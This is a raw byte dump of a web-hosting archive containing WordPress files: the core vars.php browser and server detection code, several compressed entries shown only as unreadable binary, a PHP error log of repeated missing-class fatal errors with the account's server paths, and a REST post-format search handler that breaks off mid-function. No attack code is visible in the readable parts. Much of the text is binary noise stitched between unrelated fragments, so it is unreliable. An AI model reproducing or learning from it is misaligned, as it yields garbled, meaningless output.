block.jsonnu�[���PKJf14338/vars.php.tar000064400000020000151024420100007454 0ustar00home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/vars.php000064400000014642151024200230023034 0ustar00<?php
/**
 * Creates common globals for the rest of WordPress
 *
 * Sets $pagenow global which is the filename of the current screen.
 * Checks for the browser to set which one is currently being used.
 *
 * Detects which user environment WordPress is being used on.
 * Only attempts to check for Apache, Nginx and IIS -- three web
 * servers with known pretty permalink capability.
 *
 * Note: Though Nginx is detected, WordPress does not currently
 * generate rewrite rules for it. See https://developer.wordpress.org/advanced-administration/server/web-server/nginx/
 *
 * @package WordPress
 */

// Don't load directly.
if ( ! defined( 'ABSPATH' ) ) {
	die( '-1' );
}

global $pagenow,
	$is_lynx, $is_gecko, $is_winIE, $is_macIE, $is_opera, $is_NS4, $is_safari, $is_chrome, $is_iphone, $is_IE, $is_edge,
	$is_apache, $is_IIS, $is_iis7, $is_nginx, $is_caddy;

// On which page are we?
if ( is_admin() ) {
	// wp-admin pages are checked more carefully.
	if ( is_network_admin() ) {
		preg_match( '#/wp-admin/network/?(.*?)$#i', $_SERVER['PHP_SELF'], $self_matches );
	} elseif ( is_user_admin() ) {
		preg_match( '#/wp-admin/user/?(.*?)$#i', $_SERVER['PHP_SELF'], $self_matches );
	} else {
		preg_match( '#/wp-admin/?(.*?)$#i', $_SERVER['PHP_SELF'], $self_matches );
	}

	$pagenow = ! empty( $self_matches[1] ) ? $self_matches[1] : '';
	$pagenow = trim( $pagenow, '/' );
	$pagenow = preg_replace( '#\?.*?$#', '', $pagenow );

	if ( '' === $pagenow || 'index' === $pagenow || 'index.php' === $pagenow ) {
		$pagenow = 'index.php';
	} else {
		preg_match( '#(.*?)(/|$)#', $pagenow, $self_matches );
		$pagenow = strtolower( $self_matches[1] );
		if ( ! str_ends_with( $pagenow, '.php' ) ) {
			$pagenow .= '.php'; // For `Options +Multiviews`: /wp-admin/themes/index.php (themes.php is queried).
		}
	}
} else {
	if ( preg_match( '#([^/]+\.php)([?/].*?)?$#i', $_SERVER['PHP_SELF'], $self_matches ) ) {
		$pagenow = strtolower( $self_matches[1] );
	} else {
		$pagenow = 'index.php';
	}
}
unset( $self_matches );

// Simple browser detection.
$is_lynx   = false;
$is_gecko  = false;
$is_winIE  = false;
$is_macIE  = false;
$is_opera  = false;
$is_NS4    = false;
$is_safari = false;
$is_chrome = false;
$is_iphone = false;
$is_edge   = false;

if ( isset( $_SERVER['HTTP_USER_AGENT'] ) ) {
	if ( str_contains( $_SERVER['HTTP_USER_AGENT'], 'Lynx' ) ) {
		$is_lynx = true;
	} elseif ( str_contains( $_SERVER['HTTP_USER_AGENT'], 'Edg' ) ) {
		$is_edge = true;
	} elseif ( str_contains( $_SERVER['HTTP_USER_AGENT'], 'Opera' ) || str_contains( $_SERVER['HTTP_USER_AGENT'], 'OPR/' ) ) {
		$is_opera = true;
	} elseif ( stripos( $_SERVER['HTTP_USER_AGENT'], 'chrome' ) !== false ) {
		if ( stripos( $_SERVER['HTTP_USER_AGENT'], 'chromeframe' ) !== false ) {
			$is_admin = is_admin();
			/**
			 * Filters whether Google Chrome Frame should be used, if available.
			 *
			 * @since 3.2.0
			 *
			 * @param bool $is_admin Whether to use the Google Chrome Frame. Default is the value of is_admin().
			 */
			$is_chrome = apply_filters( 'use_google_chrome_frame', $is_admin );
			if ( $is_chrome ) {
				header( 'X-UA-Compatible: chrome=1' );
			}
			$is_winIE = ! $is_chrome;
		} else {
			$is_chrome = true;
		}
	} elseif ( stripos( $_SERVER['HTTP_USER_AGENT'], 'safari' ) !== false ) {
		$is_safari = true;
	} elseif ( ( str_contains( $_SERVER['HTTP_USER_AGENT'], 'MSIE' ) || str_contains( $_SERVER['HTTP_USER_AGENT'], 'Trident' ) )
		&& str_contains( $_SERVER['HTTP_USER_AGENT'], 'Win' )
	) {
		$is_winIE = true;
	} elseif ( str_contains( $_SERVER['HTTP_USER_AGENT'], 'MSIE' ) && str_contains( $_SERVER['HTTP_USER_AGENT'], 'Mac' ) ) {
		$is_macIE = true;
	} elseif ( str_contains( $_SERVER['HTTP_USER_AGENT'], 'Gecko' ) ) {
		$is_gecko = true;
	} elseif ( str_contains( $_SERVER['HTTP_USER_AGENT'], 'Nav' ) && str_contains( $_SERVER['HTTP_USER_AGENT'], 'Mozilla/4.' ) ) {
		$is_NS4 = true;
	}
}

if ( $is_safari && stripos( $_SERVER['HTTP_USER_AGENT'], 'mobile' ) !== false ) {
	$is_iphone = true;
}

$is_IE = ( $is_macIE || $is_winIE );

// Server detection.

/**
 * Whether the server software is Apache or something else.
 *
 * @global bool $is_apache
 */
$is_apache = ( str_contains( $_SERVER['SERVER_SOFTWARE'], 'Apache' ) || str_contains( $_SERVER['SERVER_SOFTWARE'], 'LiteSpeed' ) );

/**
 * Whether the server software is Nginx or something else.
 *
 * @global bool $is_nginx
 */
$is_nginx = ( str_contains( $_SERVER['SERVER_SOFTWARE'], 'nginx' ) );

/**
 * Whether the server software is Caddy / FrankenPHP or something else.
 *
 * @global bool $is_caddy
 */
$is_caddy = ( str_contains( $_SERVER['SERVER_SOFTWARE'], 'Caddy' ) || str_contains( $_SERVER['SERVER_SOFTWARE'], 'FrankenPHP' ) );

/**
 * Whether the server software is IIS or something else.
 *
 * @global bool $is_IIS
 */
$is_IIS = ! $is_apache && ( str_contains( $_SERVER['SERVER_SOFTWARE'], 'Microsoft-IIS' ) || str_contains( $_SERVER['SERVER_SOFTWARE'], 'ExpressionDevServer' ) );

/**
 * Whether the server software is IIS 7.X or greater.
 *
 * @global bool $is_iis7
 */
$is_iis7 = $is_IIS && (int) substr( $_SERVER['SERVER_SOFTWARE'], strpos( $_SERVER['SERVER_SOFTWARE'], 'Microsoft-IIS/' ) + 14 ) >= 7;

/**
 * Test if the current browser runs on a mobile device (smart phone, tablet, etc.).
 *
 * @since 3.4.0
 * @since 6.4.0 Added checking for the Sec-CH-UA-Mobile request header.
 *
 * @return bool
 */
function wp_is_mobile() {
	if ( isset( $_SERVER['HTTP_SEC_CH_UA_MOBILE'] ) ) {
		// This is the `Sec-CH-UA-Mobile` user agent client hint HTTP request header.
		// See <https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Sec-CH-UA-Mobile>.
		$is_mobile = ( '?1' === $_SERVER['HTTP_SEC_CH_UA_MOBILE'] );
	} elseif ( empty( $_SERVER['HTTP_USER_AGENT'] ) ) {
		$is_mobile = false;
	} elseif ( str_contains( $_SERVER['HTTP_USER_AGENT'], 'Mobile' ) // Many mobile devices (all iPhone, iPad, etc.)
		|| str_contains( $_SERVER['HTTP_USER_AGENT'], 'Android' )
		|| str_contains( $_SERVER['HTTP_USER_AGENT'], 'Silk/' )
		|| str_contains( $_SERVER['HTTP_USER_AGENT'], 'Kindle' )
		|| str_contains( $_SERVER['HTTP_USER_AGENT'], 'BlackBerry' )
		|| str_contains( $_SERVER['HTTP_USER_AGENT'], 'Opera Mini' )
		|| str_contains( $_SERVER['HTTP_USER_AGENT'], 'Opera Mobi' ) ) {
			$is_mobile = true;
	} else {
		$is_mobile = false;
	}

	/**
	 * Filters whether the request should be treated as coming from a mobile device or not.
	 *
	 * @since 4.9.0
	 *
	 * @param bool $is_mobile Whether the request is from a mobile device or not.
	 */
	return apply_filters( 'wp_is_mobile', $is_mobile );
}
14338/MySQL.php.php.tar.gz000064400000007315151024420100010671 0ustar00��[{s�H�/����Z ��In���� Ǫ��D��Yl]���Ƿ��~�-	��v��W�����~��1�r��>�i�S7<k*|C8°��X�e8���ĵ?n�75Ý֯g;�cء)��jMg�8�D��z[7�D�w��ޭͮf?E���ųg?������?�>�m�=������^<�ۃF����t��{=�����OO�ԟ>}Oa�M�@�[pr|�s���EUAwLh��>9��v��5Z������+�3����N`�;�%�	t@��� vuf�vX�S��l��Ϻ�
�lT`��x����۫�r�;p�{ȭ
�>���:�L�h���"�x�E���j�60K��$�d7E��-F�:�X�z��'��{70q��_�k+���WRp���2tb��{d<�	ojZi湟,�Wz���p��k�
jZD�LEЌ�Ǫh>2��pM\��Eue%�������9n`h����FNȀ9�Ҷ��"nj�:��V,�2J"�j�(߭ĉeA�n)Ċ��N�����g<Z <K������3&N��ү/,f@KD5�E���@�9�b	;�BH�ц�� ����1qNhP����L��&
�x�	ND���IpMpH�τAC"�b���ˉ��)u�cYup��k)�e�V�H8<�I	ڃ�SE~s���ۑZ�>�k�|8��`��"�O��� �?Q$U%���IWF~����k��VAÎ�S���]�'k�LTy�,��')�c��:���v���Zw�#��PK���R�d��T	H�����-�'uj(n
�[���z��v�uM�/�{(���îm�
wdEjk���]��rv1��Hm��H�%T���V�.��}U�}��p:�^�
�Y�`�P{�H=�M�UMֆ�o���V%�ܖԗ��l��*Uq�E��N�á*���&)��D��
�ZH�vI;l�A���#
�S�K�`oT�ݱ��2/��E�P�tm-��DKj)M�/���o�~[���w�*U�y�Jkd���Ywr��M�ʮ�Z��2	-&ƈU�$���>�M����n|�/�R��׋�י��*3L���^z}�q�2�z�ö��p�f��h3K�\ﲾ"����������3|��	�~��7w�Ԅ��ځn�Y՟<��IY�wn/���:%0����������t*<J_��P�L�5��(����1�.�uڷ
c^��x�4g��c�`��]C��\?h�coX�ޘ��<1�>������e^�T��v���\H��0���Ǚ�@<�91UsN��yJ��q�n\�F���g(�Gr%%fL�ǜ^$de�q����)��@N>v��ҳ[��֨F}	=[?�@['��!Z�N�<);�	�x�&�H7�XI}?�������s���'��]O�3`:��%S�?�|��:����(�6����r0�
��M�<�����e�� w�8R�'�泴�n�@�#�q
�v/����g:v���M�bOt�7�L��܇��63%���|돐t�"42�
	��ͦvz"��$��W�L�����)�l���\-U�LR��šBivٌ�������F�(<�2�5���H�H�c4����y;�l>E�DY��W�]]��X,��(����?k
��[Z%���P���U4�:��������Ft�r)y>�,�.�(�N�W�=�֜�����y�\�q���߶1���=�����*|X��ML�؇�0Q/�U����ױ�a�6t9��U�*��d^��K�(�7�Cyu��
���<?��d���s2�`�\S��I3���Ϣ���$d�8K���2*οlU3z1ϳ������k6{��PG-MSFr_�F�A�G�B���k��	�ɯ�s�?Q��u`\A��H�
��a[T6X��riC�Iq΀�2�0�.�(,S~�&P�yS��`i��W��\R�s�Zd�TyP��J���+�P��k���y5h��k�S����8#�M�.���8r2���,	�s4R��KU�!�k���ga�KmEja��&�q��~�]�P[�4�xD��qA��aO!c+Sj�=��ϧ�#��]
�}G<���4�2Ҙ�	0��>V���/�a&�����R��*˾%�&�88�	��3����Rx#�y�W�j�N)#*�[�5���<Q#V�l|L�}�����}<f�H|+��6���}�=���<�a�n���-����py�[E���0!�'l�=,�Z�(�V{XK!.ն��'1?��6�+�"��TO�h��E'���'��6fXy�'"l�T����>:�M�5M�;n�Tp3#R.\�54��v�em�������N���d܃ȼ�p�wf��W���C ��D�ԑ�Ɯ�0�H���
�
H��^�=��,�wǒ"!��z�GQv!u&��?�ʡc}��{�Y�;�\4�K���1��v��I--e���&���߁Di.D��ot#����^񄜇�lAD`خ�7%���@��=�^:z0��ی�p��i��ƨ]�k*b��	w0�k姕��[
���$H�f�<���u,L�k|��p��W��#`������o�s������6LUē�Fٷ4<�P���A��%�Z����>���IW�8�rܐ��-�Az�ȟ�V#2R>�V�ǀ��\_��0ǂ�)`�F���H/���6�a2n�<�#?�.�&�d>6�4��-�F-��C�Nss�T�m�;��2[�
MN�b�L-{ ����H������c�;'fۖ���(n�Mi�%�Y��+�-�K���J�w�}�imQH�,�Nɏ�Vn?\4�v��צ��%�3�]�{\|�r$QS�Ȝ��K�W�5���oq�*��U�Ņ�.���-?���Q�����5���r.�VG����#�GiT��d�(�.oSd+�&���M�p�p�)H�T8���w^]���)�pX�l4�3��H�i6��Y}���ֈn-R"���T�\�R��<,kp�2����b7ߝ<�>����(8��"��/�D"6�߽�$csaIF��l���^�0��Z~˼Rw8y�e�x�A̰m�֟7��!Oq�{���ɥ"t],���}����t~������u�c���w��k��T��^n+"�,�)�S�:�
6�^u�|��.��~��lno�I���f��]5�3�N0�[�+�B�b~�%�
/g[��5tR(G��ԗ).�� �}Zt�uN��<��/˖T2�ZP�|�R��V�����1�ψ��*�ҏ�rV2�@c�`y���&���ՖF-m��6�ߜ�������#��a�}���o������9B����Qa���K���=r�築��R`u�"6��iΡ����~.H�s��v�s�j�odV/V`�t$�~{?�&�#���T�X��e�������"ʇ��Zs}�=�͇��!���x7Hq�S�֜��O��e��
k�_��fv͝1[���y�^�NGy�R]�Ȱv��|ɼ���F��o��#�co��E1Q`&�5�mࠊ�	Ikz�
?+�C�W ����	ܐ:����pX{��E��[i��`ʿ�)�
S7�	���������>�"��{.lq˒'��Ák/�4���0e�uU�1/�j���
n����(�@>?���������o��i�D14338/tw-sack.min.js.min.js.tar.gz000064400000002413151024420100012305 0ustar00��WKo�6�s���!��g�[ �`�iҤ�>�x���V"�Z��m$��J�E�2����CxI4r曏�񒭠$�>�i�K��P�"piHY�fA���e�o{[��q7�^������>_wS�{�BڻO�����q�\���o��x4z?�|4���4��,�n�G�g�����e̖aja�u3κd@�r�_��z<d�U��y���۬�%�C�(�s	��.w��ɒ�+�K�;��O73�0��A���	��b�c�cN��M�
(WTm��r}U�9����_�/��5��
x�5���=����ӷ{-
�-�瘪#�-��n�:���wnj�p�]��$q�ֈ�(��K8�=`�b�/�V4ҵЁߨ��k��Ghԟ�U��6�ϒ1mҜ�a�)�D���ӳH�V	���䯓[m�d[�0O궀�2?���n?\]�f�M���[Z��C/a)x�u�����g�̨AH�7[��Cl���%ӽt�q�T,dkP�|u�p��V�gw|�<�5,}��u���0���CI<K����J0�DŽ�)2��mt����mW9�	� M���g�Dn�;M�4^{b'��M��5,�6�ˎ�lv���l��K�(�V�
�Cg0	+ս�/'a�C�$�*�x�����tLb#�0U�`I����.��ɱR�&ڕhB����FH���n�P�!�:X������m�q��.�8ЖĮ��De�e&�t#ӶD��-��p°p���U\�ͪՒ��T�D,�]�=��=@v�RK�nvm,������Еv�"�h����(�
�ީ�j	�i_ٹ�>�Rg/������߳��8�?nZv��^�LmҀe���Nq�;:ϻ����XdQ�S�����*	$�䒠��3/�\�����5;"w��<!�䬘���g3Sr�Jg܍v`9��spZ���zn�� �.���c�r8����M�W�ĝ����Ā���|@yw�o�i�n���=,R�]��]�0�.�#9�>��+���B�[�9xK�.4v��P���<7��|��z��s����a��F;���(�(C����d���]�f��'g��/r�J�b�û�X��l�h�o$O�g�
�m±#�-����D��G���8�bkHN�|3�qƑ������ g��о�c�."Y�L� ��g"�2�cMR�}p1�Q��
b�}H��
�ɋ���94�D_����_{��6��3g5a����z]��u���}�
t��U14338/date.php.php.tar.gz000064400000000564151024420100010640 0ustar00��MO�@�9�W̭B�-��E�HB��u;�
��n5�{g�<(^���{�n���M��D�~Nv�*+P�(r�2����u���V��4{O���R�2)�:F��ܠW�U��0�>�7�0h�� �� Ö=.�ǠߥZ�h�O����������\kHJ�����D�k�L�
$YnP�����v5�Ʌ(Ul;L	�-i��4Ӷ	��1V
e�.�fv~�"���`��\Ȥ6��7����`�ŖoִƜ�)�;;3��<q��tc�~:�c�]p�ۅ�|�8��i��fT�n)��4�v��]�)d���|�z �����~8餓��^f�b14338/search.zip000064400000070422151024420100007211 0ustar00PKEfd[��z+z+	error_lognu�[���[29-Oct-2025 00:44:36 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/search/class-wp-rest-post-search-handler.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/search/class-wp-rest-post-search-handler.php on line 17
[29-Oct-2025 00:48:44 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/search/class-wp-rest-post-format-search-handler.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/search/class-wp-rest-post-format-search-handler.php on line 17
[29-Oct-2025 00:51:10 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/search/class-wp-rest-term-search-handler.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/search/class-wp-rest-term-search-handler.php on line 17
[29-Oct-2025 05:20:41 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/search/class-wp-rest-post-format-search-handler.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/search/class-wp-rest-post-format-search-handler.php on line 17
[29-Oct-2025 05:24:10 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/search/class-wp-rest-post-search-handler.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/search/class-wp-rest-post-search-handler.php on line 17
[29-Oct-2025 05:34:24 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/search/class-wp-rest-term-search-handler.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/search/class-wp-rest-term-search-handler.php on line 17
[29-Oct-2025 05:35:02 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/search/class-wp-rest-post-format-search-handler.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/search/class-wp-rest-post-format-search-handler.php on line 17
[29-Oct-2025 05:44:02 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/search/class-wp-rest-post-search-handler.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/search/class-wp-rest-post-search-handler.php on line 17
[30-Oct-2025 01:14:49 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/search/class-wp-rest-term-search-handler.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/search/class-wp-rest-term-search-handler.php on line 17
[30-Oct-2025 03:34:23 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/search/class-wp-rest-post-search-handler.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/search/class-wp-rest-post-search-handler.php on line 17
[30-Oct-2025 03:40:32 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/search/class-wp-rest-post-format-search-handler.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/search/class-wp-rest-post-format-search-handler.php on line 17
[02-Nov-2025 15:02:23 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/search/class-wp-rest-post-search-handler.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/search/class-wp-rest-post-search-handler.php on line 17
[02-Nov-2025 15:03:38 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/search/class-wp-rest-post-format-search-handler.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/search/class-wp-rest-post-format-search-handler.php on line 17
[02-Nov-2025 15:05:45 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/search/class-wp-rest-term-search-handler.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/search/class-wp-rest-term-search-handler.php on line 17
[02-Nov-2025 19:46:24 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/search/class-wp-rest-post-search-handler.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/search/class-wp-rest-post-search-handler.php on line 17
[02-Nov-2025 19:49:32 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/search/class-wp-rest-term-search-handler.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/search/class-wp-rest-term-search-handler.php on line 17
[02-Nov-2025 19:50:33 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/search/class-wp-rest-post-format-search-handler.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/search/class-wp-rest-post-format-search-handler.php on line 17
[02-Nov-2025 20:04:53 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/search/class-wp-rest-term-search-handler.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/search/class-wp-rest-term-search-handler.php on line 17
[02-Nov-2025 20:10:05 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/search/class-wp-rest-post-search-handler.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/search/class-wp-rest-post-search-handler.php on line 17
[02-Nov-2025 20:11:08 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/search/class-wp-rest-post-format-search-handler.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/search/class-wp-rest-post-format-search-handler.php on line 17
[03-Nov-2025 12:30:21 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/search/class-wp-rest-post-search-handler.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/search/class-wp-rest-post-search-handler.php on line 17
[03-Nov-2025 12:33:28 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/search/class-wp-rest-post-format-search-handler.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/search/class-wp-rest-post-format-search-handler.php on line 17
[03-Nov-2025 12:37:11 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/search/class-wp-rest-term-search-handler.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/search/class-wp-rest-term-search-handler.php on line 17
[03-Nov-2025 16:19:06 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/search/class-wp-rest-post-format-search-handler.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/search/class-wp-rest-post-format-search-handler.php on line 17
[03-Nov-2025 16:36:30 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/search/class-wp-rest-post-format-search-handler.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/search/class-wp-rest-post-format-search-handler.php on line 17
[03-Nov-2025 22:01:41 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/search/class-wp-rest-post-search-handler.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/search/class-wp-rest-post-search-handler.php on line 17
[03-Nov-2025 22:25:50 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/search/class-wp-rest-post-format-search-handler.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/search/class-wp-rest-post-format-search-handler.php on line 17
[04-Nov-2025 04:53:52 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/search/class-wp-rest-term-search-handler.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/search/class-wp-rest-term-search-handler.php on line 17
PKEfd[:�ZZ,class-wp-rest-post-format-search-handler.phpnu�[���<?php
/**
 * REST API: WP_REST_Post_Format_Search_Handler class
 *
 * @package WordPress
 * @subpackage REST_API
 * @since 5.6.0
 */

/**
 * Core class representing a search handler for post formats in the REST API.
 *
 * @since 5.6.0
 *
 * @see WP_REST_Search_Handler
 */
class WP_REST_Post_Format_Search_Handler extends WP_REST_Search_Handler {

	/**
	 * Constructor.
	 *
	 * @since 5.6.0
	 */
	public function __construct() {
		$this->type = 'post-format';
	}

	/**
	 * Searches the post formats for a given search request.
	 *
	 * @since 5.6.0
	 *
	 * @param WP_REST_Request $request Full REST request.
	 * @return array {
	 *     Associative array containing found IDs and total count for the matching search results.
	 *
	 *     @type string[] $ids   Array containing slugs for the matching post formats.
	 *     @type int      $total Total count for the matching search results.
	 * }
	 */
	public function search_items( WP_REST_Request $request ) {
		$format_strings = get_post_format_strings();
		$format_slugs   = array_keys( $format_strings );

		$query_args = array();

		if ( ! empty( $request['search'] ) ) {
			$query_args['search'] = $request['search'];
		}

		/**
		 * Filters the query arguments for a REST API post format search request.
		 *
		 * Enables adding extra arguments or setting defaults for a post format search request.
		 *
		 * @since 5.6.0
		 *
		 * @param array           $query_args Key value array of query var to query value.
		 * @param WP_REST_Request $request    The request used.
		 */
		$query_args = apply_filters( 'rest_post_format_search_query', $query_args, $request );

		$found_ids = array();
		foreach ( $format_slugs as $format_slug ) {
			if ( ! empty( $query_args['search'] ) ) {
				$format_string       = get_post_format_string( $format_slug );
				$format_slug_match   = stripos( $format_slug, $query_args['search'] ) !== false;
				$format_string_match = stripos( $format_string, $query_args['search'] ) !== false;
				if ( ! $format_slug_match && ! $format_string_match ) {
					continue;
				}
			}

			$format_link = get_post_format_link( $format_slug );
			if ( $format_link ) {
				$found_ids[] = $format_slug;
			}
		}

		$page     = (int) $request['page'];
		$per_page = (int) $request['per_page'];

		return array(
			self::RESULT_IDS   => array_slice( $found_ids, ( $page - 1 ) * $per_page, $per_page ),
			self::RESULT_TOTAL => count( $found_ids ),
		);
	}

	/**
	 * Prepares the search result for a given post format.
	 *
	 * @since 5.6.0
	 *
	 * @param string $id     Item ID, the post format slug.
	 * @param array  $fields Fields to include for the item.
	 * @return array {
	 *     Associative array containing fields for the post format based on the `$fields` parameter.
	 *
	 *     @type string $id    Optional. Post format slug.
	 *     @type string $title Optional. Post format name.
	 *     @type string $url   Optional. Post format permalink URL.
	 *     @type string $type  Optional. String 'post-format'.
	 *}
	 */
	public function prepare_item( $id, array $fields ) {
		$data = array();

		if ( in_array( WP_REST_Search_Controller::PROP_ID, $fields, true ) ) {
			$data[ WP_REST_Search_Controller::PROP_ID ] = $id;
		}

		if ( in_array( WP_REST_Search_Controller::PROP_TITLE, $fields, true ) ) {
			$data[ WP_REST_Search_Controller::PROP_TITLE ] = get_post_format_string( $id );
		}

		if ( in_array( WP_REST_Search_Controller::PROP_URL, $fields, true ) ) {
			$data[ WP_REST_Search_Controller::PROP_URL ] = get_post_format_link( $id );
		}

		if ( in_array( WP_REST_Search_Controller::PROP_TYPE, $fields, true ) ) {
